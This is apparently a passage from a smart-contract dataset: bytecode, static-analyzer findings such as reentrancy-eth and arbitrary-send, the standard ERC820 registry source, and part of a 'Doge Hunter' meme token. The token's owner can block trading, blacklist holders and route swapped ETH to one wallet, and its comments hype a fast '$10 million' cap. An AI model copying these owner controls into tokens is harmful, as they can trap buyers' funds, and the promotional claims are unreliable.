7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f7800000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139988161347b565b81146139a357600080fd5b50565b6139af8161348d565b81146139ba57600080fd5b50565b6139c6816134b9565b81146139d157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207802392ca775a71652e7ca903b21eb5a34aff64605a6d0431998c11dce5bd2ce64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,220 |
0x820c4597fc3e4193282576750ea4fcfe34ddf0a7
|
/* ERC820: Pseudo-introspection Registry Contract
* by Jordi Baylina and Jacques Dafflon
*
* To the extent possible under law, Jordi Baylina and Jacques Dafflon who
* associated CC0 with the ERC820: Pseudo-introspection Registry Contract have
* waived all copyright and related or neighboring rights to the
* ERC820: Pseudo-introspection Registry Contract.
*
* You should have received a copy of the CC0 legalcode along with this work.
* If not, see <http://creativecommons.org/publicdomain/zero/1.0/>.
*
* ███████╗██████╗ ██████╗ █████╗ ██████╗ ██████╗
* ██╔════╝██╔══██╗██╔════╝██╔══██╗╚════██╗██╔═████╗
* █████╗ ██████╔╝██║ ╚█████╔╝ █████╔╝██║██╔██║
* ██╔══╝ ██╔══██╗██║ ██╔══██╗██╔═══╝ ████╔╝██║
* ███████╗██║ ██║╚██████╗╚█████╔╝███████╗╚██████╔╝
* ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚════╝ ╚══════╝ ╚═════╝
*
* ██████╗ ███████╗ ██████╗ ██╗███████╗████████╗██████╗ ██╗ ██╗
* ██╔══██╗██╔════╝██╔════╝ ██║██╔════╝╚══██╔══╝██╔══██╗╚██╗ ██╔╝
* ██████╔╝█████╗ ██║ ███╗██║███████╗ ██║ ██████╔╝ ╚████╔╝
* ██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██║ ██╔══██╗ ╚██╔╝
* ██║ ██║███████╗╚██████╔╝██║███████║ ██║ ██║ ██║ ██║
* ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
*
*/
pragma solidity 0.4.24;
// IV is value needed to have a vanity address starting with `0x820`.
// IV: 2241
/// @dev The interface a contract MUST implement if it is the implementer of
/// some (other) interface for any address other than itself.
interface ERC820ImplementerInterface {
/// @notice Indicates whether the contract implements the interface `interfaceHash` for the address `addr` or not.
/// @param addr Address for which the contract will implement the interface
/// @param interfaceHash keccak256 hash of the name of the interface
/// @return ERC820_ACCEPT_MAGIC only if the contract implements `interfaceHash` for the address `addr`.
function canImplementInterfaceForAddress(address addr, bytes32 interfaceHash) public view returns(bytes32);
}
/// @title ERC820 Pseudo-introspection Registry Contract
/// @author Jordi Baylina and Jacques Dafflon
/// @notice This contract is the official implementation of the ERC820 Registry.
/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-820
contract ERC820Registry {
/// @notice ERC165 Invalid ID.
bytes4 constant INVALID_ID = 0xffffffff;
/// @notice Method ID for the ERC165 supportsInterface method (= `bytes4(keccak256('supportsInterface(bytes4)'))`).
bytes4 constant ERC165ID = 0x01ffc9a7;
/// @notice Magic value which is returned if a contract implements an interface on behalf of some other address.
bytes32 constant ERC820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC820_ACCEPT_MAGIC"));
mapping (address => mapping(bytes32 => address)) interfaces;
mapping (address => address) managers;
mapping (address => mapping(bytes4 => bool)) erc165Cached;
/// @notice Indicates a contract is the `implementer` of `interfaceHash` for `addr`.
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
/// @notice Indicates `newManager` is the address of the new manager for `addr`.
event ManagerChanged(address indexed addr, address indexed newManager);
/// @notice Query if an address implements an interface and through which contract.
/// @param _addr Address being queried for the implementer of an interface.
/// (If `_addr == 0` then `msg.sender` is assumed.)
/// @param _interfaceHash keccak256 hash of the name of the interface as a string.
/// E.g., `web3.utils.keccak256('ERC777Token')`.
/// @return The address of the contract which implements the interface `_interfaceHash` for `_addr`
/// or `0x0` if `_addr` did not register an implementer for this interface.
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == 0 ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : 0;
}
return interfaces[addr][_interfaceHash];
}
/// @notice Sets the contract which implements a specific interface for an address.
/// Only the manager defined for that address can set it.
/// (Each address is the manager for itself until it sets a new manager.)
/// @param _addr Address to define the interface for. (If `_addr == 0` then `msg.sender` is assumed.)
/// @param _interfaceHash keccak256 hash of the name of the interface as a string.
/// For example, `web3.utils.keccak256('ERC777TokensRecipient')` for the `ERC777TokensRecipient` interface.
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == 0 ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
require(!isERC165Interface(_interfaceHash), "Must not be a ERC165 hash");
if (_implementer != 0 && _implementer != msg.sender) {
require(
ERC820ImplementerInterface(_implementer)
.canImplementInterfaceForAddress(addr, _interfaceHash) == ERC820_ACCEPT_MAGIC,
"Does not implement the interface"
);
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
/// @notice Sets the `_newManager` as manager for the `_addr` address.
/// The new manager will be able to call `setInterfaceImplementer` for `_addr`.
/// @param _addr Address for which to set the new manager. (If `_addr == 0` then `msg.sender` is assumed.)
/// @param _newManager Address of the new manager for `addr`. (Pass `0x0` to reset the manager to `_addr` itself.)
function setManager(address _addr, address _newManager) external {
address addr = _addr == 0 ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
managers[addr] = _newManager == addr ? 0 : _newManager;
emit ManagerChanged(addr, _newManager);
}
/// @notice Get the manager of an address.
/// @param _addr Address for which to return the manager.
/// @return Address of the manager for a given address.
function getManager(address _addr) public view returns(address) {
// By default the manager of an address is the same address
if (managers[_addr] == 0) {
return _addr;
} else {
return managers[_addr];
}
}
/// @notice Compute the keccak256 hash of an interface given its name.
/// @param _interfaceName Name of the interface.
/// @return The keccak256 hash of an interface name.
function interfaceHash(string _interfaceName) public pure returns(bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
/* --- ERC165 Related Functions --- */
/// @notice Checks whether a contract implements an ERC165 interface or not.
/// The result is cached. If the cache is out of date, it must be updated by calling `updateERC165Cache`.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return `true` if `_contract` implements `_interfaceId`, false otherwise.
/// @dev This function may modify the state when updating the cache. However, this function must have the `view`
/// modifier since `getInterfaceImplementer` also calls it. If called from within a transaction, the ERC165 cache
/// is updated.
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
updateERC165Cache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] != 0;
}
/// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
/// @param _contract Address of the contract for which to update the cache.
/// @param _interfaceId ERC165 interface for which to update the cache.
function updateERC165Cache(address _contract, bytes4 _interfaceId) public {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId) ? _contract : 0;
erc165Cached[_contract][_interfaceId] = true;
}
/// @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return `true` if `_contract` implements `_interfaceId`, false otherwise.
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
/// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
/// @param _interfaceHash The hash to check.
/// @return `true` if the hash is a ERC165 interface (ending with 28 zeroes), `false` otherwise.
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
function noThrowCall(address _contract, bytes4 _interfaceId)
internal view returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at begining of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(
30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x08, // Inputs are 8 bytes long
x, // Store output over input (saves space)
0x20 // Outputs are 32 bytes long
)
result := mload(x) // Load the result
}
}
}
|
0x60806040526004361061008d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166329965a1d81146100925780633d584063146100bf5780635df8122f146100fc57806365ba36c114610123578063a41e7d511461018e578063aabbb8ca146101bc578063b7056765146101e0578063f712f3e814610222575b600080fd5b34801561009e57600080fd5b506100bd600160a060020a036004358116906024359060443516610250565b005b3480156100cb57600080fd5b506100e0600160a060020a036004351661054b565b60408051600160a060020a039092168252519081900360200190f35b34801561010857600080fd5b506100bd600160a060020a0360043581169060243516610597565b34801561012f57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261017c9436949293602493928401919081908401838280828437509497506106aa9650505050505050565b60408051918252519081900360200190f35b34801561019a57600080fd5b506100bd600160a060020a0360043516600160e060020a031960243516610774565b3480156101c857600080fd5b506100e0600160a060020a03600435166024356107fe565b3480156101ec57600080fd5b5061020e600160a060020a0360043516600160e060020a031960243516610878565b604080519115158252519081900360200190f35b34801561022e57600080fd5b5061020e600160a060020a0360043516600160e060020a03196024351661092d565b6000600160a060020a038416156102675783610269565b335b9050336102758261054b565b600160a060020a0316146102d3576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6102dc836109a3565b15610331576040805160e560020a62461bcd02815260206004820152601960248201527f4d757374206e6f74206265206120455243313635206861736800000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103525750600160a060020a0382163314155b156104da5760405160200180807f4552433832305f4143434550545f4d414749430000000000000000000000000081525060130190506040516020818303038152906040526040518082805190602001908083835b602083106103c65780518252601f1990920191602091820191016103a7565b51815160209384036101000a6000190180199092169116179052604080519290940182900382207ff0083250000000000000000000000000000000000000000000000000000000008352600160a060020a038881166004850152602484018b90529451909650938816945063f0083250936044808401945091929091908290030181600087803b15801561045957600080fd5b505af115801561046d573d6000803e3d6000fd5b505050506040513d602081101561048357600080fd5b5051146104da576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a038082166000908152600160205260408120549091161515610575575080610592565b50600160a060020a03808216600090815260016020526040902054165b919050565b6000600160a060020a038316156105ae57826105b0565b335b9050336105bc8261054b565b600160a060020a03161461061a576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b80600160a060020a031682600160a060020a031614610639578161063c565b60005b600160a060020a03828116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519185169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a3505050565b6000816040516020018082805190602001908083835b602083106106df5780518252601f1990920191602091820191016106c0565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106107425780518252601f199092019160209182019101610723565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050565b61077e8282610878565b61078957600061078b565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b60008080600160a060020a038516156108175784610819565b335b9150610824846109a3565b15610849575082610835828261092d565b610840576000610842565b815b9250610870565b600160a060020a038083166000908152602081815260408083208884529091529020541692505b505092915050565b600080806108a6857f01ffc9a7000000000000000000000000000000000000000000000000000000006109c5565b90925090508115806108b6575080155b156108c45760009250610870565b6108d685600160e060020a03196109c5565b90925090508115806108e757508015155b156108f55760009250610870565b6108ff85856109c5565b90925090506001821480156109145750806001145b156109225760019250610870565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff16151561096e5761096e8383610774565b50600160a060020a03918216600090815260208181526040808320600160e060020a0319949094168352929052205416151590565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160088189617530fa9051909690955093505050505600a165627a7a72305820e3db118fca3ca7b01f94f0360177adb045fd6d1e613065f54a0a71f84318cdc30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 6,221 |
0x40080e40f26155d379653fa2c883c78aa8d77e88
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
//You have come to a fantastic place, and I would be happy to tell you how we came to be.
//We are the Doge Hunter(QOH). Since 2020, the DOG-related Meme coin culture has reshaped the blockchain culture.
//However, the beginning of this culture is not so rigorous, but a kind of funny existence.
//Everyone wants to be the shining one who outshines his predecessors.
//All projects want to surpass Bitcoin, and of course that goal will be hard to achieve (we believe Ethereum can), but ideals drive us.
//Come on, let the storm hit harder. We are going to subvert Dogecoin, because it is the leader of Meme coin, and we only target the first place.
//Dogecoin spent seven and a half years at the top of the list, and now you have a new opportunity.
//Would you like $QOH cap to hit a $10 million number in seven days?
/**
ii
Ui iq
ri qv ii ir rE iL
vki vUi i ri iIj iuY
ii kPsi rPUr uPi ivrSiJii iL rIbi iJXQi ii
rKkvUPjUuUJkuKKVkPkr iLri BBBQBBBQBQBr isv ikZkkdEVVJUIIjujvvqL
iksYLYLuJIVKPkvUUIii rDquv uBi bdiXv JBB ruSSPSYLIuujDbEPKuuYJsJsjjIEg
ii iXuYjJjJIVSSPPSqXubDBPvvukXsr iBi ur iv MBP iLSIJvvUBDSYIqMgEPPKXuuuUJuIKKDEi
iKdEksUuLjjukXkIVqVSJvsUVdPJrJYJjVVui vi UPJi kKiiBB iJSSjJYsvYZDXULukPbPXXSKSUukuuuYvujji
iPYvvLvjIISXYYjujjJkuPZjvYYJJSPDgMqSujYvi rPvVsU LjKL iBIivJsSqMMMbXuusLvjDZkIujZMKVSSXXVkYYvLLqi
ivVEqPKqIVuJYVKdPkLsJuYUIkSgEqPPvLYuKgXDBMJiLBQISPLrvqqKZiiBBPQgSMbIsYvqEPDQqkVksJVXIqddqKujUSSPPPPgqvi
iqjrrrJSdqUjkIqJvvusvvbukbZDMuirriJDIi uPqBRgRuIuQBZQb iXPUPuirriLRgMEXudYrLkjXPPVUuIqgPuvrrJbr
jqDDgXjrrLKdEvvXuivjurvqgddPZRPvurriiUILugMgDPIKbbQgZsiiXqvisLVQZbZbMPviJkvrKduJPDbsrrJKgggbU
jPujsXZEuviIRPsgKrrjvJjjvvVQEBRr iZvrDUXudEgVDDEUPUPvivJvYgBdBKvrksSUSrvXQKPMXivuZgPYsuPI
iIXLirJgduSMSXPMUsVuYisdSIUviuQjLBBUuSUKkgSUKsLuBMvikSrKdukgsivSZEDQPXSZXjdQUrivuMvi
kPPdgQuYPPvkPEPEDdgUPZgKLvKDRRKQBQXDgYjuIIuLDPqBBBPukDDQSLdQZudZEPqDdSvKZJjRQgPPP
iruQQuXMIrIZPkdKVZVJqDKujMEVgPEEBEqqZIkQvqBIggEEBgMPqvXQgPXdPuUDqXEVPgKvuMbIgBVjv
iEQULZRXjDXjgVvUDPvIRZSqgSggBgubSZdgdZbgSPuRBRgKMqvKMPkKgVvuRUSMkVRgYuDUi
idBQZbBgPBDiuPMrVEKYXZbKBXKYjSdqqSPKXSdXSLLjBqPMXvVgbYMdUiPBEgBEEBBMr
iv ugVIgBkuPELuKQbgriirPPqqXqXPSKqEKriidBqQggVBBZXBMSkMv ri
iLL bBQRgBBdZvrridQdXqXqXPbMKvrriKZEBQUk iYiiYJi
iBBBQUYkUkPPPdUPgbEbddXubJUSPIsIVi
BuriUVriIEkgb iLBBBBBrvLMRSdSiiIZIv
iirsSvirDVrsgirUvvuqPvqviiBuvkgvivPqXsri
ivrXPYiiuRLijBPYurii iiii iiXdjivMViivqZvLi
KviLqgriYuUviiiiiiiiirrii iruiigdsirPi
iiivIgivvi iiiiriiiirvii jIiidqriii
rrrriiiiiiriiii vvr IIiiu
vviiiiiiiiirQBPLiiiriiiLi iMqLYi
vri i i iiPBDZMriii PBBi ivvi
iviiii iiiiirvrrii SY
vviiiiiiiii iii
rviiiiiiii i ii sRdSv
iviiiiiiiiiiiiiiiii QBBQBJ i
sriiiiiiiiiirYiiiiiYZMBDi i
iYiiiiiiiiiiiPRbsudQMBgji
iviiiiiiiiiiirLPdDRBgU
rriiiiiiiiiiiiiiiii
irvvriiiiiiiiii ii
rvYvvriiiiiiiiii
ivJLvvvrrii
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract QOH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Hunter";
string private constant _symbol = "QOH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe6F514D8ACe17ef914529260CFdc7095daC93821);
address payable private _marketingAddress = payable(0xe6F514D8ACe17ef914529260CFdc7095daC93821);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 9999999999999 * 10**9;
uint256 public _maxWalletSize = 9999999999999 * 10**9;
uint256 public _swapTokensAtAmount = 9999 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
